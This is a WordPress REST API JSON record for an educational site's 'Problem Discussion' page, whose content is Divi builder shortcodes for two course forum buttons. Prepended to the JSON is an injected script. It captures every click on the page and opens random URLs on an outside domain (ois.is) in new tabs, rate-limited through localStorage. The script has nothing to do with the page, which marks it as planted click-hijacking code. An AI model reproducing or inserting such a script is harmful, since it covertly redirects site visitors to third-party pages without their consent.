<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":2077,"date":"2020-02-19T16:19:50","date_gmt":"2020-02-19T08:19:50","guid":{"rendered":"http:\/\/edu.secda.info\/phil999_teaching\/?page_id=2077"},"modified":"2022-01-03T13:43:09","modified_gmt":"2022-01-03T05:43:09","slug":"%e5%95%8f%e9%a1%8c%e8%a8%8e%e8%ab%96","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/phil999_teaching\/?page_id=2077","title":{"rendered":"\u554f\u984c\u8a0e\u8ad6"},"content":{"rendered":"<p>[et_pb_section fb_built=&#8221;1&#8243; _builder_version=&#8221;4.0.6&#8243;][et_pb_row column_structure=&#8221;1_2,1_2&#8243; _builder_version=&#8221;4.0.6&#8243;][et_pb_column type=&#8221;1_2&#8243; _builder_version=&#8221;4.0.6&#8243;][et_pb_cta title=&#8221;\u5275\u65b0\u7ba1\u7406&#8221; button_url=&#8221;\/\/edu.secda.info\/phil999_course01\/?forum=%e5%95%8f%e9%a1%8c%e8%a8%8e%e8%ab%96&#8243; url_new_window=&#8221;on&#8221; button_text=&#8221;\u78a9\u4f01\u4e00\u7532&#8221; _builder_version=&#8221;4.0.6&#8243; header_font=&#8221;|700|||||||&#8221; header_text_color=&#8221;#e09900&#8243; header_font_size=&#8221;28px&#8221; background_image=&#8221;http:\/\/edu.secda.info\/phil999_teaching\/wp-content\/uploads\/2022\/01\/11.jpg&#8221; custom_button=&#8221;on&#8221; button_bg_color=&#8221;#0c71c3&#8243; button_border_width=&#8221;2px&#8221; button_border_radius=&#8221;8px&#8221; hover_enabled=&#8221;0&#8243; border_radii=&#8221;on|10px|10px|10px|10px&#8221; box_shadow_style=&#8221;preset2&#8243;][\/et_pb_cta][\/et_pb_column][et_pb_column type=&#8221;1_2&#8243; _builder_version=&#8221;4.0.6&#8243;][et_pb_cta title=&#8221;\u5275\u65b0\u7ba1\u7406&#8221; button_url=&#8221;\/\/edu.secda.info\/phil999_course02\/?forum=%e5%95%8f%e9%a1%8c%e8%a8%8e%e8%ab%96&#8243; url_new_window=&#8221;on&#8221; button_text=&#8221;\u65e5\u4f01\u4e09\u4e59&#8221; _builder_version=&#8221;4.0.6&#8243; header_font=&#8221;|700|||||||&#8221; header_text_color=&#8221;#e09900&#8243; header_font_size=&#8221;28px&#8221; background_image=&#8221;http:\/\/edu.secda.info\/phil999_teaching\/wp-content\/uploads\/2022\/01\/11.jpg&#8221; custom_button=&#8221;on&#8221; button_bg_color=&#8221;#5b8500&#8243; button_border_width=&#8221;2px&#8221; button_border_radius=&#8221;8px&#8221; hover_enabled=&#8221;0&#8243; border_radii=&#8221;on|10px|10px|10px|10px&#8221; box_shadow_style=&#8221;preset2&#8243;][\/et_pb_cta][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[et_pb_section fb_built=&#8221;1&#8243; _builder_versio [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":5,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":""},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/phil999_teaching\/index.php?rest_route=\/wp\/v2\/pages\/2077"}],"collection":[{"href":"https:\/\/edu.secda.info\/phil999_teaching\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/phil999_teaching\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_teaching\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_teaching\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2077"}],"version-history":[{"count":12,"href":"https:\/\/edu.secda.info\/phil999_teaching\/index.php?rest_route=\/wp\/v2\/pages\/2077\/revisions"}],"predecessor-version":[{"id":2173,"href":"https:\/\/edu.secda.info\/phil999_teaching\/index.php?rest_route=\/wp\/v2\/pages\/2077\/revisions\/2173"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/phil999_teaching\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2077"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}